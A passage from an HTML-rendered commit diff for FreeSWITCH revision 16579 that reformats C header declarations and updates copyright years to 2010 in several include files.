-                                                                                                                        void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
</ins><span class="cx"> /*!
</span><span class="cx"> \brief Close an open speech handle
</span><span class="cx"> \param sh the speech handle to close
</span><span class="lines">@@ -1907,7 +1911,7 @@
</span><span class="cx"> /*!
</span><span class="cx"> \brief Launch a thread
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC *func) (switch_thread_t *, void *),
</del><ins>+SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC * func) (switch_thread_t *, void *),
</ins><span class="cx">                                                                                                                         void *obj, switch_memory_pool_t *pool);
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="lines">@@ -1970,7 +1974,7 @@
</span><span class="cx"> SWITCH_DECLARE(int) switch_system(const char *cmd, switch_bool_t wait);
</span><span class="cx"> SWITCH_DECLARE(void) switch_cond_yield(switch_interval_time_t t);
</span><span class="cx"> SWITCH_DECLARE(void) switch_cond_next(void);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
</ins><span class="cx">                                                                                                          const char *subject, const char *body, const char *type, const char *hint);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_preprocess_session(switch_core_session_t *session, const char *cmds);
</span><span class="lines">@@ -1982,51 +1986,51 @@
</span><span class="cx"> */
</span><span class="cx">
</span><span class="cx"> #define CACHE_DB_LEN 256
</span><del>-typedef enum {
-        CDF_INUSE = (1 << 0)
-} cache_db_flag_t;
</del><ins>+         typedef enum {
+                 CDF_INUSE = (1 << 0)
+         } cache_db_flag_t;
</ins><span class="cx">
</span><del>-typedef enum {
-        SCDB_TYPE_CORE_DB,
-        SCDB_TYPE_ODBC
-} switch_cache_db_handle_type_t;
</del><ins>+         typedef enum {
+                 SCDB_TYPE_CORE_DB,
+                 SCDB_TYPE_ODBC
+         } switch_cache_db_handle_type_t;
</ins><span class="cx">
</span><del>-typedef union {
-        switch_core_db_t *core_db_dbh;
-        switch_odbc_handle_t *odbc_dbh;        
-} switch_cache_db_native_handle_t;
</del><ins>+         typedef union {
+                 switch_core_db_t *core_db_dbh;
+                 switch_odbc_handle_t *odbc_dbh;
+         } switch_cache_db_native_handle_t;
</ins><span class="cx">
</span><del>-typedef struct {
-        char *db_path;
-} switch_cache_db_core_db_options_t;
</del><ins>+         typedef struct {
+                 char *db_path;
+         } switch_cache_db_core_db_options_t;
</ins><span class="cx">
</span><del>-typedef struct {
-        char *dsn;
-        char *user;
-        char *pass;
-} switch_cache_db_odbc_options_t;
</del><ins>+         typedef struct {
+                 char *dsn;
+                 char *user;
+                 char *pass;
+         } switch_cache_db_odbc_options_t;
</ins><span class="cx">
</span><del>-typedef union {
-        switch_cache_db_core_db_options_t core_db_options;
-        switch_cache_db_odbc_options_t odbc_options;
-} switch_cache_db_connection_options_t;
</del><ins>+         typedef union {
+                 switch_cache_db_core_db_options_t core_db_options;
+                 switch_cache_db_odbc_options_t odbc_options;
+         } switch_cache_db_connection_options_t;
</ins><span class="cx">
</span><del>-typedef struct {
-        char name[CACHE_DB_LEN];
-        switch_cache_db_handle_type_t type;
-        switch_cache_db_native_handle_t native_handle;
-        time_t last_used;
-        switch_mutex_t *mutex;
-        switch_mutex_t *io_mutex;
-        switch_memory_pool_t *pool;
-        int32_t flags;
-        unsigned long hash;
-        char creator[CACHE_DB_LEN];
-        char last_user[CACHE_DB_LEN];
-} switch_cache_db_handle_t;
</del><ins>+         typedef struct {
+                 char name[CACHE_DB_LEN];
+                 switch_cache_db_handle_type_t type;
+                 switch_cache_db_native_handle_t native_handle;
+                 time_t last_used;
+                 switch_mutex_t *mutex;
+                 switch_mutex_t *io_mutex;
+                 switch_memory_pool_t *pool;
+                 int32_t flags;
+                 unsigned long hash;
+                 char creator[CACHE_DB_LEN];
+                 char last_user[CACHE_DB_LEN];
+         } switch_cache_db_handle_t;
</ins><span class="cx">
</span><span class="cx">
</span><del>-static inline const char *switch_cache_db_type_name(switch_cache_db_handle_type_t type)
</del><ins>+         static inline const char *switch_cache_db_type_name(switch_cache_db_handle_type_t type)
</ins><span class="cx"> {
</span><span class="cx">         const char *type_str = "INVALID";
</span><span class="cx">
</span><span class="lines">@@ -2046,9 +2050,9 @@
</span><span class="cx">         return type_str;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t **dbh);
-SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t **dbh);
-SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t **dbh,
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t ** dbh);
+SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t ** dbh);
+SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t ** dbh,
</ins><span class="cx">                                                                                                                          switch_cache_db_handle_type_t type,
</span><span class="cx">                                                                                                                          switch_cache_db_connection_options_t *connection_options,
</span><span class="cx">                                                                                                                          const char *file, const char *func, int line);
</span><span class="lines">@@ -2056,14 +2060,14 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(char *) switch_cache_db_execute_sql2str(switch_cache_db_handle_t *dbh, char *sql, char *str, size_t len, char **err);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql(switch_cache_db_handle_t *dbh, char *sql, char **err);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, const char *sql,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, const char *sql,
</ins><span class="cx">                                                                                                                                          switch_core_db_callback_func_t callback, void *pdata, char **err);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_cache_db_status(switch_stream_handle_t *stream);
</span><del>-SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t **dbh, const char *file, const char *func, int line);
</del><ins>+SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t ** dbh, const char *file, const char *func, int line);
</ins><span class="cx"> #define switch_core_db_handle(_a) _switch_core_db_handle(_a, __FILE__, __SWITCH_FUNC__, __LINE__)
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *db,
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *db,
</ins><span class="cx">                                                                                                                         const char *test_sql, const char *drop_sql, const char *reactive_sql);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_cache_db_persistant_execute(switch_cache_db_handle_t *dbh, const char *sql, uint32_t retries);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_cache_db_persistant_execute_trans(switch_cache_db_handle_t *dbh, char *sql, uint32_t retries);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_core_dbh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_core_db.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_core_db.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core_db.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_core_event_hookh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_core_event_hook.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_core_event_hook.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core_event_hook.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -47,7 +47,7 @@
</span><span class="cx"> typedef struct switch_io_event_hook_state_change switch_io_event_hook_state_change_t;
</span><span class="cx"> typedef struct switch_io_event_hook_resurrect_session switch_io_event_hook_resurrect_session_t;
</span><span class="cx"> typedef switch_status_t (*switch_outgoing_channel_hook_t)
</span><del>- (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t *, switch_originate_flag_t);
</del><ins>+ (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t *, switch_originate_flag_t);
</ins><span class="cx"> typedef switch_status_t (*switch_receive_message_hook_t) (switch_core_session_t *, switch_core_session_message_t *);
</span><span class="cx"> typedef switch_status_t (*switch_receive_event_hook_t) (switch_core_session_t *, switch_event_t *);
</span><span class="cx"> typedef switch_status_t (*switch_read_frame_hook_t) (switch_core_session_t *, switch_frame_t **, switch_io_flag_t, int);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_dsoh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_dso.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_dso.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_dso.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -25,10 +25,10 @@
</span><span class="cx"> #ifdef WIN32
</span><span class="cx"> typedef HINSTANCE switch_dso_lib_t;
</span><span class="cx"> #else
</span><del>-typedef void * switch_dso_lib_t;
</del><ins>+typedef void *switch_dso_lib_t;
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>-typedef void * switch_dso_data_t;
</del><ins>+typedef void *switch_dso_data_t;
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib);
</span><span class="cx"> SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err);
</span><span class="lines">@@ -48,4 +48,3 @@
</span><span class="cx"> * For VIM:
</span><span class="cx"> * vim:set softtabstop=4 shiftwidth=4 tabstop=4
</span><span class="cx"> */
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_eventh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_event.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_event.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_event.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -237,7 +237,7 @@
</span><span class="cx"> \param node bind handle to later remove the binding.
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS if the event was binded
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
</ins><span class="cx">                                                                                                                         switch_event_callback_t callback, void *user_data, switch_event_node_t **node);
</span><span class="cx"> /*!
</span><span class="cx"> \brief Unbind a bound event consumer
</span><span class="lines">@@ -342,15 +342,16 @@
</span><span class="cx"> */
</span><span class="cx"> #define switch_event_create(event, id) switch_event_create_subclass(event, id, SWITCH_EVENT_SUBCLASS_ANY)
</span><span class="cx">
</span><del>-static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
</del><ins>+         static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = switch_event_create(event, SWITCH_EVENT_CLONE);
</span><span class="cx">         if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 (*event)->event_id = event_id;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*!
</span><span class="cx"> \brief Deliver an event to all of the registered event listeners
</span><span class="cx"> \param event the event to send (will be nulled)
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_frameh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_frame.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_frame.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_frame.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -46,7 +46,7 @@
</span><span class="cx">         /*! the originating source of the frame */
</span><span class="cx">         const char *source;
</span><span class="cx">         /*! the raw packet */
</span><del>-        void *packet;        
</del><ins>+        void *packet;
</ins><span class="cx">         /*! the size of the raw packet when applicable */
</span><span class="cx">         uint32_t packetlen;
</span><span class="cx">         /*! the extra frame data */
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_ivrh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_ivr.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_ivr.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_ivr.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -123,7 +123,8 @@
</span><span class="cx"> \param timeout a timeout in milliseconds
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS to keep the collection moving.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout, uint32_t abs_timeout);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout,
+                                                                                                                                 uint32_t abs_timeout);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Wait for specified number of DTMF digits, untile terminator is received or until the channel hangs up.
</span><span class="lines">@@ -304,7 +305,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
</span><span class="cx">                                                                                                                          const char *key, const char *tone_spec,
</span><del>-                                                                                                                         const char *flags, time_t timeout, int hits,
</del><ins>+                                                                                                                         const char *flags, time_t timeout, int hits,
</ins><span class="cx">                                                                                                                          const char *app, const char *data, switch_tone_detect_callback_t callback);
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -321,7 +322,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_play_file(switch_core_session_t *session, switch_file_handle_t *fh, const char *file,
</span><span class="cx">                                                                                                          switch_input_args_t *args);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_silence(switch_core_session_t *session, uint32_t thresh, uint32_t silence_hits,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_silence(switch_core_session_t *session, uint32_t thresh, uint32_t silence_hits,
</ins><span class="cx">                                                                                                                         uint32_t listen_hits, uint32_t timeout_ms, const char *file);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_gentones(switch_core_session_t *session, const char *script, int32_t loops, switch_input_args_t *args);
</span><span class="lines">@@ -408,11 +409,8 @@
</span><span class="cx">                                                                                                          const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                          const char *cid_name_override,
</span><span class="cx">                                                                                                          const char *cid_num_override,
</span><del>-                                                                                                         switch_caller_profile_t *caller_profile_override,
-                                                                                                         switch_event_t *ovars,
-                                                                                                         switch_originate_flag_t flags,
-                                                                                                         switch_call_cause_t *cancel_cause
-                                                                                                         );
</del><ins>+                                                                                                         switch_caller_profile_t *caller_profile_override,
+                                                                                                         switch_event_t *ovars, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_enterprise_originate(switch_core_session_t *session,
</span><span class="cx">                                                                                                                                 switch_core_session_t **bleg,
</span><span class="lines">@@ -422,10 +420,8 @@
</span><span class="cx">                                                                                                                                 const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                                                 const char *cid_name_override,
</span><span class="cx">                                                                                                                                 const char *cid_num_override,
</span><del>-                                                                                                                                switch_caller_profile_t *caller_profile_override,
-                                                                                                                                switch_event_t *ovars,
-                                                                                                                                switch_originate_flag_t flags
-                                                                                                                                );
</del><ins>+                                                                                                                                switch_caller_profile_t *caller_profile_override,
+                                                                                                                                switch_event_t *ovars, switch_originate_flag_t flags);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_ivr_bridge_display(switch_core_session_t *session, switch_core_session_t *peer_session);
</span><span class="cx">
</span><span class="lines">@@ -571,17 +567,17 @@
</span><span class="cx">
</span><span class="cx"> /******************************************************************************************************/
</span><span class="cx">
</span><del>-struct switch_ivr_digit_stream_parser;
-typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
-struct switch_ivr_digit_stream;
-typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
</del><ins>+         struct switch_ivr_digit_stream_parser;
+         typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
+         struct switch_ivr_digit_stream;
+         typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
</ins><span class="cx"> /*!
</span><span class="cx"> \brief Create a digit stream parser object
</span><span class="cx"> \param pool the pool to use for the new hash
</span><span class="cx"> \param parser a pointer to the object pointer
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS if all is well
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t **parser);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t ** parser);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Destroy a digit stream parser object
</span><span class="lines">@@ -596,14 +592,14 @@
</span><span class="cx"> \param stream a pointer to the stream object pointer
</span><span class="cx"> \return NULL if no match found or consumer data that was associated with a given digit string when matched
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t **stream);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t ** stream);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Destroys a digit stream object
</span><span class="cx"> \param stream a pointer to the stream object
</span><span class="cx"> \return NULL if no match found or consumer data that was associated with a given digit string when matched
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t ** stream);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Set a digit string to action mapping
</span><span class="lines">@@ -660,25 +656,25 @@
</span><span class="cx"> * @{
</span><span class="cx"> */
</span><span class="cx">
</span><del>-typedef enum {
-        SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 << 0),
-        SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 << 1),
-        SWITCH_IVR_MENU_FLAG_STACK = (1 << 2)
-} switch_ivr_menu_flags;
</del><ins>+         typedef enum {
+                 SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 << 0),
+                 SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 << 1),
+                 SWITCH_IVR_MENU_FLAG_STACK = (1 << 2)
+         } switch_ivr_menu_flags;
</ins><span class="cx"> /* Actions are either set in switch_ivr_menu_bind_function or returned by a callback */
</span><del>-typedef enum {
-        SWITCH_IVR_ACTION_DIE,        /* Exit the menu. */
-        SWITCH_IVR_ACTION_EXECMENU,        /* Goto another menu in the stack. */
-        SWITCH_IVR_ACTION_EXECAPP,        /* Execute an application. */
-        SWITCH_IVR_ACTION_PLAYSOUND,        /* Play a sound. */
-        SWITCH_IVR_ACTION_BACK,        /* Go back 1 menu. */
-        SWITCH_IVR_ACTION_TOMAIN,        /* Go back to the top level menu. */
-        SWITCH_IVR_ACTION_NOOP        /* No operation */
-} switch_ivr_action_t;
-struct switch_ivr_menu;
-typedef switch_ivr_action_t switch_ivr_menu_action_function_t (struct switch_ivr_menu *, char *, char *, size_t, void *);
-typedef struct switch_ivr_menu switch_ivr_menu_t;
-typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
</del><ins>+         typedef enum {
+                 SWITCH_IVR_ACTION_DIE,        /* Exit the menu. */
+                 SWITCH_IVR_ACTION_EXECMENU,        /* Goto another menu in the stack. */
+                 SWITCH_IVR_ACTION_EXECAPP,        /* Execute an application. */
+                 SWITCH_IVR_ACTION_PLAYSOUND,        /* Play a sound. */
+                 SWITCH_IVR_ACTION_BACK,        /* Go back 1 menu. */
+                 SWITCH_IVR_ACTION_TOMAIN,        /* Go back to the top level menu. */
+                 SWITCH_IVR_ACTION_NOOP        /* No operation */
+         } switch_ivr_action_t;
+         struct switch_ivr_menu;
+         typedef switch_ivr_action_t switch_ivr_menu_action_function_t(struct switch_ivr_menu *, char *, char *, size_t, void *);
+         typedef struct switch_ivr_menu switch_ivr_menu_t;
+         typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
</ins><span class="cx"> /******************************************************************************************************/
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -703,7 +699,7 @@
</span><span class="cx"> *\return SWITCH_STATUS_SUCCESS if the menu was created.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t **new_menu,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t ** new_menu,
</ins><span class="cx">                                                                                                          switch_ivr_menu_t *main,
</span><span class="cx">                                                                                                          const char *name,
</span><span class="cx">                                                                                                          const char *greeting_sound,
</span><span class="lines">@@ -715,7 +711,7 @@
</span><span class="cx">                                                                                                          const char *tts_engine,
</span><span class="cx">                                                                                                          const char *tts_voice,
</span><span class="cx">                                                                                                          int confirm_attempts,
</span><del>-                                                                                                         int inter_timeout, int digit_len, int timeout, int max_failures,
</del><ins>+                                                                                                         int inter_timeout, int digit_len, int timeout, int max_failures,
</ins><span class="cx">                                                                                                          int max_timeouts, switch_memory_pool_t *pool);
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -726,8 +722,7 @@
</span><span class="cx"> *\param bind KeyStrokes to bind the action to.
</span><span class="cx"> *\return SWUTCH_STATUS_SUCCESS if the action was binded
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg,
-                                                                                                                        const char *bind);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -762,8 +757,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t *stack);
</span><span class="cx">
</span><del>-struct switch_ivr_menu_xml_ctx;
-typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
</del><ins>+         struct switch_ivr_menu_xml_ctx;
+         typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
</ins><span class="cx"> /*!
</span><span class="cx"> *\brief Build a menu stack from an xml source
</span><span class="cx"> *\param xml_menu_ctx The XML menu parser context previously created by switch_ivr_menu_stack_xml_init
</span><span class="lines">@@ -773,7 +768,7 @@
</span><span class="cx"> *\return SWITCH_STATUS_SUCCESS if all is well
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
</span><del>-                                                                                                                                switch_ivr_menu_t **menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
</del><ins>+                                                                                                                                switch_ivr_menu_t ** menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action);
</span><span class="cx">
</span><span class="lines">@@ -791,7 +786,7 @@
</span><span class="cx"> *\param pool memory pool (NULL to create one)
</span><span class="cx"> *\return SWITCH_STATUS_SUCCESS if all is well
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t **xml_menu_ctx, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t ** xml_menu_ctx, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_phrase_macro(switch_core_session_t *session, const char *macro_name, const char *data, const char *lang,
</span><span class="cx">                                                                                                                 switch_input_args_t *args);
</span><span class="lines">@@ -806,8 +801,7 @@
</span><span class="cx">                                                                                                 uint32_t max_digits,
</span><span class="cx">                                                                                                 const char *prompt_audio_file,
</span><span class="cx">                                                                                                 const char *var_name,
</span><del>-                                                                                                char *digit_buffer,
-                                                                                                switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
</del><ins>+                                                                                                char *digit_buffer, switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_bind_dtmf_meta_session(switch_core_session_t *session, uint32_t key,
</span><span class="cx">                                                                                                                                  switch_bind_flag_t bind_flags, const char *app);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_loadable_moduleh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_loadable_module.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_loadable_module.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_loadable_module.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -268,7 +268,7 @@
</span><span class="cx"> \param filename the path to the module's dll or so file
</span><span class="cx"> \return SWITCH_STATUS_SUCCESS on a successful load
</span><span class="cx"> */
